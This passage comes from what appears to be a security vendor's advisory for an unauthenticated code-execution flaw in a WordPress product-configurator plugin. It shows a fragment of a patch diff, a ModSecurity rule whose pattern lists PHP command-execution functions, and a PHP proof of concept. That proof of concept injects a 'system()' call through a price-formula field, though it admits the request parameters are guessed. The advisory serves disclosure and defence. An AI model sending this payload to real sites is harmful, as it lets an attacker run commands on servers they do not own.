 				while ( $product_query->have_posts() ) {
 					$product_query->the_post();

-					if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
+					if ( staggs_is_woocommerce_active() ) {
 						global $product;
 						$product = wc_get_product( get_the_ID() );
 					}
@@ -497,7 +497,7 @@
 		if ( isset( $atts['product_id'] ) ) {

 			$post_type = get_post_type( $atts[

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-78287
# Blocks unauthenticated RCE via STAGGS price formula eval() in admin-ajax.php
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202678287,phase:2,deny,status:403,chain,msg:'CVE-2026-78287 STAGGS RCE via eval injection',severity:'CRITICAL',tag:'CVE-2026-78287'"
  SecRule ARGS_POST:action "@streq staggs_calculate_price" "chain"
    SecRule ARGS_POST:formula "@rx (?:system|exec|shell_exec|passthru|popen|proc_open|eval|assert|base64_decode|gzinflate|str_rot13|create_function|include|require)s*(" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-78287 - STAGGS Product Configurator Toolkit <= 3.3.0 - Unauthenticated Remote Code Execution

$target_url = 'http://example.com'; // Change to target WordPress URL

function exploit($url, $cmd) {
    // The vulnerable AJAX action is typically 'staggs_calculate_price' or similar.
    // Based on the diff, the eval() is reached via configurator price calculation.
    // We target the generic admin-ajax.php endpoint with a crafted formula.
    $payload = "1;system('" . addslashes($cmd) . "');//";

    $post_data = [
        'action' => 'staggs_calculate_price', // Adjust if needed
        'formula' => $payload,
        // Add other required parameters as needed by the plugin
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    return [$http_code, $response];
}

// Example: execute 'id' command
list($code, $resp) = exploit($target_url, 'id');
echo "HTTP Code: $coden";
echo "Response: $respn";

// Note: The exact AJAX action and parameter names may vary. The exploit relies on
// injecting PHP code into a formula field that is later passed to eval().
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.